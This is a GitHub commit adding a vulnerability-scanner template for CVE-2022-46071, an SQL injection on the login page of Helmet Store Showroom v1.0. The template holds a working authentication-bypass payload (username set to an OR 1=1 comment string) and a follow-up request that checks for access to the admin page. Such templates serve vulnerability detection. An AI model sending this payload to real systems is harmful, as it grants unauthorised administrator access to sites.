Create CVE-2022-46071.yaml

patch-1
Harsh Yadav 2023-06-30 12:44:02 +05:30 committed by GitHub
parent eaa714620e
commit 44da26c74c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 40 additions and 0 deletions

View File

@ -0,0 +1,40 @@
id: CVE-2022-46071
info:
name: SQL Injection - Login Page
author: Harsh
severity: critical
description: |
There is SQL Injection vulnerability at Helmet Store Showroom v1.0 Login Page. This vulnerability can be exploited to bypass admin access.
reference:
- https://yuyudhn.github.io/CVE-2022-46071/
- https://nvd.nist.gov/vuln/detail/CVE-2022-46071
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-46071
cwe-id: CWE-89
metadata:
verified: true
tags: cve,cve2022,sql,admin_bypass
http:
- raw:
- |
POST /hss/classes/Login.php?f=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username='+OR+1%3D1+--+-&password=1234
- |
GET /hss/admin/ HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "Helmet Store Showroom")'
- 'contains(body_2, "Adminstrator Admin")'
condition: and